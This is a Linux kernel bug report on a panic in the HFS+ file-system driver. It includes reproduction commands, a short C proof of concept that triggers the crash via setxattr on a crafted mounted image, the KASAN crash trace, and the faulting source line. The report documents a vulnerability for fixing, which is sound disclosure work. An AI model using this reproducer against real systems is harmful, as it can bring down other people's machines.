Bug 200291 - Kernel panic when invoking setxattr() on a hfs+ image
Summary: Kernel panic when invoking setxattr() on a hfs+ image
Status: NEW
Alias: None
Product: File System
Classification: Unclassified
Component: HFS/HFSPLUS (show other bugs)
Hardware: All Linux
: P1 normal
Assignee: fs_hfs@kernel-bugs.osdl.org
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2018-06-27 03:50 UTC by Wen Xu
Modified: 2018-06-27 03:50 UTC (History)
1 user (show)

See Also:
Kernel Version: 4.18
Subsystem:
Regression: No
Bisected commit-id:


Attachments
The (compressed) crafted image which causes crash (4.00 MB, application/octet-stream)
2018-06-27 03:50 UTC, Wen Xu
Details

Description Wen Xu 2018-06-27 03:50:06 UTC
Created attachment 276893 [details]
The (compressed) crafted image which causes crash

- Reproduce
# mkdir mnt
# mount -t hfsplus 6.img mnt
# gcc -o poc poc.c
# ./poc ./mnt

- POC (poc.c)
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>

#include <dirent.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/falloc.h>
#include <linux/loop.h>

static void activity(char *mpoint) {

  char *xattr;

  int err;

  static int buf[8192];
  memset(buf, 0, sizeof(buf));

  err = asprintf(&xattr, "%s/foo/bar/xattr", mpoint);

  // xattr
  char buf2[113];
  memset(buf2, 0, sizeof(buf2));
  listxattr(xattr, buf2, sizeof(buf2));
  removexattr(xattr, "user.mime_type");
  setxattr(xattr, "user.md5", buf2, sizeof(buf2), XATTR_CREATE);
  setxattr(xattr, "user.md5", buf2, sizeof(buf2), XATTR_REPLACE);

}

int main(int argc, char *argv[]) {
  activity(argv[1]);
  return 0;
}

- Kernel message
 [  168.825163] general protection fault: 0000 [#1] SMP KASAN PTI
 [  168.826445] CPU: 1 PID: 1440 Comm: a.out Not tainted 4.18.0-rc1+ #6
 [  168.827725] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
 [  168.829734] RIP: 0010:__asan_load8+0x72/0x90
 [  168.830608] Code: 31 d2 be 08 00 00 00 e8 0c 17 00 00 5d c3 49 89 f8 48 be 00 00 00 00 00 fc ff df 49 c1 e8 03 41 80 3c 30 00 75 da 48 c1 e8 03 <0f> b6 04 30 84 c0 74 c3 38 d0 0f 9e c0 eb c3 0f 1f 44 00 00 66 2e
 [  168.834454] RSP: 0018:ffff8801f0a17648 EFLAGS: 00010246
 [  168.835515] RAX: 0000000000000000 RBX: 0000000000000043 RCX: ffffffffad5b479c
 [  168.836958] RDX: 0000000000000002 RSI: dffffc0000000000 RDI: fffffffffffffffb
 [  168.838390] RBP: ffff8801f0a17648 R08: 1fffffffffffffff R09: ffffed003c384baa
 [  168.839821] R10: 0000000000000001 R11: ffffed003c384ba9 R12: fffffffffffffffb
 [  168.841264] R13: ffff8801ddab8908 R14: ffff8801df7b0000 R15: 00000000fffffffb
 [  168.842697] FS:  00007fba2738c700(0000) GS:ffff8801f6f00000(0000) knlGS:0000000000000000
 [  168.844313] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
 [  168.845486] CR2: 00000000019ef008 CR3: 00000001ef964000 CR4: 00000000000006e0
 [  168.846930] Call Trace:
 [  168.847476]  hfsplus_bnode_put+0x2c/0x190
 [  168.848311]  hfsplus_find_exit+0x25/0x60
 [  168.849130]  hfsplus_create_attr+0x1a5/0x2b0
 [  168.850007]  ? hfsplus_attr_exists+0x140/0x140
 [  168.850915]  ? hfsplus_find_init+0x54/0xc0
 [  168.851789]  ? strncmp+0x3d/0xc0
 [  168.852470]  __hfsplus_setxattr+0x2d5/0x1160
 [  168.853376]  ? unwind_get_return_address+0x36/0x50
 [  168.854351]  ? kasan_check_write+0x14/0x20
 [  168.855208]  ? _raw_spin_lock_irqsave+0x2a/0x60
 [  168.856133]  ? hfsplus_getxattr_finder_info.isra.5+0x280/0x280
 [  168.857324]  ? save_stack+0x46/0xd0
 [  168.858045]  ? kasan_kmalloc+0xad/0xe0
 [  168.858815]  ? kmem_cache_alloc_trace+0x102/0x200
 [  168.859777]  ? hfsplus_setxattr+0x4c/0xb0
 [  168.860608]  ? hfsplus_user_setxattr+0x27/0x30
 [  168.861519]  ? __vfs_setxattr+0x7c/0xa0
 [  168.862307]  ? __vfs_setxattr_noperm+0x8d/0x200
 [  168.863225]  ? vfs_setxattr+0xb3/0xc0
 [  168.863975]  ? setxattr+0x1b3/0x260
 [  168.864702]  ? path_setxattr+0x134/0x170
 [  168.865502]  ? __x64_sys_setxattr+0x6d/0x80
 [  168.866365]  ? do_syscall_64+0x78/0x170
 [  168.867152]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
 [  168.868204]  ? save_stack+0xb5/0xd0
 [  168.870339]  ? save_stack+0x46/0xd0
 [  168.871064]  ? kasan_kmalloc+0xad/0xe0
 [  168.871842]  ? __kmalloc_node+0x11e/0x2e0
 [  168.872701]  ? kvmalloc_node+0x31/0x80
 [  168.873476]  ? setxattr+0x114/0x260
 [  168.874197]  ? path_setxattr+0x134/0x170
 [  168.875004]  ? __x64_sys_setxattr+0x6d/0x80
 [  168.875865]  ? do_syscall_64+0x78/0x170
 [  168.876669]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
 [  168.877737]  ? save_stack+0xb5/0xd0
 [  168.878463]  ? save_stack+0x46/0xd0
 [  168.879189]  ? __kasan_slab_free+0x13c/0x1a0
 [  168.880070]  ? kasan_slab_free+0xe/0x10
 [  168.880876]  ? kmem_cache_free+0x89/0x1e0
 [  168.881711]  ? putname+0x80/0x90
 [  168.882380]  ? filename_lookup+0x191/0x280
 [  168.883225]  ? kasan_unpoison_shadow+0x36/0x50
 [  168.884140]  ? kasan_kmalloc+0xad/0xe0
 [  168.884926]  ? kmem_cache_alloc_trace+0x102/0x200
 [  168.885893]  hfsplus_setxattr+0x8a/0xb0
 [  168.886688]  hfsplus_user_setxattr+0x27/0x30
 [  168.887569]  __vfs_setxattr+0x7c/0xa0
 [  168.888331]  __vfs_setxattr_noperm+0x8d/0x200
 [  168.889240]  vfs_setxattr+0xb3/0xc0
 [  168.889968]  setxattr+0x1b3/0x260
 [  168.890660]  ? vfs_setxattr+0xc0/0xc0
 [  168.891418]  ? filename_lookup+0x191/0x280
 [  168.892262]  ? filename_parentat+0x2b0/0x2b0
 [  168.893149]  ? kasan_kmalloc+0xad/0xe0
 [  168.893929]  ? kasan_check_write+0x14/0x20
 [  168.894800]  ? strncpy_from_user+0xa8/0x1c0
 [  168.895670]  ? __mnt_is_readonly.part.13+0x23/0x30
 [  168.896664]  ? __mnt_want_write+0x9d/0xb0
 [  168.897496]  path_setxattr+0x134/0x170
 [  168.898274]  ? setxattr+0x260/0x260
 [  168.899009]  ? vm_brk+0x20/0x20
 [  168.899663]  __x64_sys_setxattr+0x6d/0x80
 [  168.900508]  do_syscall_64+0x78/0x170
 [  168.901273]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
 [  168.902326] RIP: 0033:0x7fba26ead1fa
 [  168.903060] Code: 48 8b 0d a1 dc 2b 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 49 89 ca b8 bc 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 6e dc 2b 00 f7 d8 64 89 01 48
 [  168.906869] RSP: 002b:00007ffff2eb6888 EFLAGS: 00000206 ORIG_RAX: 00000000000000bc
 [  168.908388] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fba26ead1fa
 [  168.909819] RDX: 00007ffff2eb68b0 RSI: 00000000004008a4 RDI: 00000000019ef080
 [  168.911249] RBP: 00007ffff2eb6930 R08: 0000000000000001 R09: 0000000000000000
 [  168.912686] R10: 0000000000000071 R11: 0000000000000206 R12: 00000000004005e0
 [  168.914115] R13: 00007ffff2eb6a30 R14: 0000000000000000 R15: 0000000000000000
 [  168.915548] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_pcm snd_timer snd i2c_piix4 mac_hid soundcore ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx raid1 raid0 multipath linear 8139too qxl drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops crct10dif_pclmul ttm crc32_pclmul aesni_intel drm aes_x86_64 crypto_simd cryptd glue_helper 8139cp mii pata_acpi floppy
 [  168.925399] ---[ end trace 7f5a46c7478f1295 ]---
 [  168.926401] RIP: 0010:__asan_load8+0x72/0x90
 [  168.927281] Code: 31 d2 be 08 00 00 00 e8 0c 17 00 00 5d c3 49 89 f8 48 be 00 00 00 00 00 fc ff df 49 c1 e8 03 41 80 3c 30 00 75 da 48 c1 e8 03 <0f> b6 04 30 84 c0 74 c3 38 d0 0f 9e c0 eb c3 0f 1f 44 00 00 66 2e
 [  168.931166] RSP: 0018:ffff8801f0a17648 EFLAGS: 00010246
 [  168.932609] RAX: 0000000000000000 RBX: 0000000000000043 RCX: ffffffffad5b479c
 [  168.934131] RDX: 0000000000000002 RSI: dffffc0000000000 RDI: fffffffffffffffb
 [  168.935610] RBP: ffff8801f0a17648 R08: 1fffffffffffffff R09: ffffed003c384baa
 [  168.937092] R10: 0000000000000001 R11: ffffed003c384ba9 R12: fffffffffffffffb
 [  168.938529] R13: ffff8801ddab8908 R14: ffff8801df7b0000 R15: 00000000fffffffb
 [  168.939958] FS:  00007fba2738c700(0000) GS:ffff8801f6f00000(0000) knlGS:0000000000000000
 [  168.941630] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
 [  168.942796] CR2: 00000000019ef008 CR3: 00000001ef964000 CR4: 00000000000006e0

- Location
https://elixir.bootlin.com/linux/v4.18-rc1/source/fs/hfsplus/bfind.c#L46
void hfs_find_exit(struct hfs_find_data *fd)
{
	hfs_bnode_put(fd->bnode); <--
	kfree(fd->search_key);
	hfs_dbg(BNODE_REFS, "find_exit: %d (%p)\n",
		fd->tree->cnid, __builtin_return_address(0));
	mutex_unlock(&fd->tree->tree_lock);
	fd->tree = NULL;
}

Here an invalid pointer (fd->bnode) is passed into hfsplus_bnode_put() which later leads to kernel panic.

Reported by Wen Xu (wen.xu@gatech.edu) from SSLab at Gatech.

Note You need to log in before you can comment on or make changes to this bug.